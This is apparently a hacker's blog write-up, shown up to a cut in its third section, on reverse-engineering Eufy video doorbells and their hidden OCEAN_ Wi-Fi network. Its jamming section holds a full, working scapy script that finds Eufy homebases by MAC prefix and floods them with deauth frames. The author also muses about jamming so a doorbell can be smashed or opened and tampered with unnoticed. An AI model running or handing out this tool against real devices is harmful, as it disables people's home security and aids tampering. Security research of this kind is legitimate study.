Pangram verdict · v3.3
We believe that this entire text is human-written.
AI likelihood · overall
HumanArticle text · 1,559 words · 1 segments analyzed
Dear Fellowlship, I am delighted to inform you that the owls have found the time to get back to hacking in their spare time. After this two-year hiatus, we are pleased to preach a new homily from this humble digital pulpit of ours. Please, take a seat and listen to the story. Table of contents This article is going to be significantly longer than what I usually write, so this table of contents allows you to jump straight to the section that interests you most and skip the rest. Although, naturally, this little owl would love for you to read the whole thing. 0x00 Preamble. Introduction about how this research started. You can skip it freely if you are only interested in technical details. 0x01 Introduction to the ecosystem. Brief explanation about the product, its components and how they are related. 0x02 Jamming. You can remotely disconnect the doorbell from the “management” network avoiding it to stream video/audio. A crappy Proof of Concept is provided. 0x03 Soundwave sync protocol. Reverse Engineering the soundwave protocol used to sync the doorbell with the homebase. 0x04 Extracting and decrypting OCEAN_XXXXXX creds from memory dump. Recovered and revere enginering of the encrypted configuration file that contains the credentials used by the doorbell to connect to the hidden network. 0x00 Preamble Last June I had the opportunity to give a talk at the EuskalHack congress (my talk was a simple 101 talking about ad-joined linux environments). I brought my brother-in-law along because he was finishing his master’s degree in computer science (apparently, besides the bachelor’s degree, they now have to complete a qualifying master’s program), and I wanted to show him a bit of the hacking world and try to spark some interest. And I got lucky: Pepelux’s talk on how he pwned a video intercom really piqued his interest. So, I decided to capitalize on that interest and suggest trying to hack some gadget over the summer as a learning exercise. It took me a couple of weeks to settle on a target, until one day, while walking through my wonderful city, I noticed the sheer number of video doorbells there are. Unfortunately, my city is infected by that modern-day cancer: unchecked tourism and the destruction of local community life caused by short-term tourist rentals. It is a tumor that grows and causes necrosis in the social fabric of our neighborhoods. So I did the obvious thing… figure out the most common model used by them and try to pwn it :) That’s how I set my sights on the “Eufy Security Video Doorbell” ecosystem. 0x01 Introduction to the ecosystem I bought this “Eufy Security Video Doorbell” from internet. As can be seen in the box it is composed by two parts: the “Homebase Station 2” and the “Doorbell” itself. The Homebase works as a central hub and it is what the user connects to the intertubes (via wifi or ethernet cable), meanwhile the video doorbell is placed at your door. The doorbell (and I guess the rest of products related to Eufy) communicates with the Homebase station through a hidden wifi. Product box showing the two components I almost forgot that the box also contained a beautiful sticker to tell your neighbours you are recording them 24/7: 24/7 video recorded The Homebase Station: Homebase Station 2 The Doorbell: Doorbell Everything is controlled from their mobile App. It let you communicate with the Homebase and add new devices, communicate with the doorbell, and all the typical stuff you would expect. There was a USENIX talk about this same ecosystem called Reverse Engineering the Eufy Ecosystem: A Deep Dive into Security Vulnerabilities and Proprietary Protocols where the authors focused on low entropy used to generate the pre-shared key (PSK) used in the hidden network that the Homebase uses to manage the devices (and also performs a deep research on the P2P protocol). This research was done in 2023 and Eufy changed a lot of stuff (for example the PSK is not 8 bytes anymore, we will talk about it later) but something it still true: the hidden network is called OCEAN_XXXXXX, being the suffix the last 24 bits of Homebase’s MAC. The following diagram created with my 4 years old desing skills helps to visualize the role of each element: Network diagram Because the doorbell (and I guess other Eufy devices) must communicate to internet at some point, the Homestation acts as a gateway and if you connect (we will discuss about it later) to that hidden network you can browse freely. Also it gives you access to any other element in the network (for example, your router web interface). 0x02 Jamming The most obvious thing I thought was… if this uses standard WPA2 without any kind of protection… would it be vulnerable to deauth packets? The answer is: yes, of course. You can remotely flood it with deauth packets and make it disconnect from the hidden network, so the video/audio is recorded locally but not streamed to the Homebase/mobile app, making it an interesting way to physically approach to it and apply a wellness massage with a stone. Or to open it, dump its memory, and close it so nobody knows you manipulated it. Obvious disclaimer: I am not inciting the commission of any act of vandalism, I am just talking about Threat Modelling. Identify the presence of Homebases is easy because the first 24 bits of its MAC are known (both, the doorbell and the homebase uses the same prefix): 90:bf:d9. We can dust off an old Alfa wifi anntena, connect it to a battery-powered Raspberry Pi, and walk around to locate beacons from stations with a MAC address matching the one we are looking for. Then grab what channel is using and send a probe request with OCEAN_XXXXXX building it with the last 24 bits of the seen MAC. If we get a probe response it means we got a Homebase and we can send broadcast deauth packets to that network. A crappy script that summarizes this process can be found below: #!/usr/bin/env python3 from scapy.all import * from scapy.layers.dot11 import Dot11, Dot11Elt from scapy.layers.dot11 import RadioTap import subprocess, time ch = None ssid = None bssid = None iface = "wlan1" whale_mac = None whale_ssid = None def banner(): print("\t\t-=[ Baleeiro - Juan Manuel Fernandez (@TheXC3LL) ]=-\n\n") print(''' _==| _==| )__) | )_) )___) )) )___) )____))_) _ )____)_____))__)\\ \\---__|____/|___|___-\\\\--- ^^^^^^^^^\\ oo oo oo oo /~~^^^^^^^ ~^^^^ ~~~~^^~~~~^^~~^^~~~~~ ~~^^ ~^^~ ~^~ ~^ ~^ ~^~~ ~~~^^~ ''') def beacon_handler(pkt): global ch global ssid global bssid if ch is not None: return if not pkt.haslayer(Dot11): return d = pkt[Dot11] if d.type != 0 or d.subtype not in (5,8): return if d.addr2 and d.addr2.lower()[:8] == "90:bf:d9": cur = pkt while True: cur = cur.payload if cur is None or cur == NoPayload: return if isinstance(cur, Dot11Elt) and cur.ID == 3: if len(cur.info) >= 1: ch = cur.info[0] ssid = "OCEAN_" + d.addr2.upper()[8:].replace(":","") bssid = d.addr2.upper() break if ch != None: print("[*] Arr!! Our lookout has spotted movement on channel " + str(ch) + "!!") return else: return else: return def set_channel(mon_iface): subprocess.run(["sudo", "iw", "dev", mon_iface, "set", "channel", str(ch)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) def build_req(): global ssid global bssid rt = RadioTap() dot11 = Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2="90:bf:d9:9f:13:37", addr3=bssid) probe_req = ( rt / dot11 / Dot11Elt(ID=0, info=ssid.encode()) / Dot11Elt(ID=1, info=bytes([0x82,0x84,0x8b,0x96,0x0c,0x12,0x18,0x24])) / Dot11Elt(ID=50, info=bytes([0x30,0x48,0x60,0x6c])) / Dot11Elt(ID=3, info=bytes([2])) / Dot11Elt(ID=45, info=bytes([0x30]) + bytes(25)) / Dot11Elt(ID=221, info=bytes([0xaa,0xbb,0xcc,0x00,0x00,0x00,0x36,0x18])) ) cur = probe_req while True: cur = cur.payload if cur is None or cur == NoPayload: break if isinstance(cur, Dot11Elt) and cur.ID == 3: cur.info = bytes([ch]) break return probe_req def handle_probe_resp(pkt): global whale_mac global whale_ssid if whale_mac != None: return if not pkt.haslayer(Dot11): return d = pkt[Dot11] if d.type == 0 and d.subtype == 5: if d.addr1 and d.addr1.lower() == "90:bf:d9:9f:13:37": whale_mac = d.addr2.upper() cur = pkt while True: cur = cur.payload if isinstance(cur, Dot11Elt) and cur.ID == 0: whale_ssid = cur.info.decode("utf-8", errors="ignore") break print("[*] Our lookout confirmed it! It's a big one!!") print(''' .-------------'```'----....,,__ _, | `'`'`'`'-.,.__ .'( | `'--._.' ) | `'-.< \\ .-'`'-. -. `\\ \\ -.o_. _ _,-'`\\ | ``````''--.._.-=-._ .' \\ _,,--'` `-._( (^^^^^^^^`___ '-. | \\ __,,..--' ` ````````` `'--..___\\ |` `-.,' ''') print("\t\t\t" + whale_ssid + "\t" + whale_mac) return def deauth(): global whale_mac global iface packet = RadioTap() / \ Dot11(type=0, subtype=12, addr1="ff:ff:ff:ff:ff:ff", addr2=whale_mac, addr3=whale_mac) / \ Dot11Deauth(reason=7) print("[*] Launching 500 harpoons to hunt that whale!") for x in range(0,500): sendp(packet, iface=iface, verbose=False) def main(): banner() print("[*] Baleeiro is watching the ocean...") sniff(iface=iface, prn=beacon_handler, store=False, timeout=5) if ch is None: print("[!] Arr!! The ocean is empty today!!\n") exit(1) set_channel(iface) sniffer = AsyncSniffer(iface=iface, prn=handle_probe_resp, store=False) sniffer.start() time.sleep(0.05) sendp(build_req(), iface=iface, count=1, inter=0.01, verbose=False) time.sleep(2) sniffer.stop() if whale_ssid != None: print("[*] It's time to grab the harpoons! Press enter when you wanna start the hunt!") input() deauth() if __name__ == "__main__": main() The script just sends 500 because it’s all I needed to probe it at my local setup (to be honest I discovered this by error, I was just trying to grab the 4-way handshake to try to crack it with hashcat). 0x03 Soundwave sync protocol To connect the doorbell to the HomeBase, it must be synchronized. At first glance, the synchronization process appears to rely on sound waves. This really caught my attention because I had never worked with signals before, and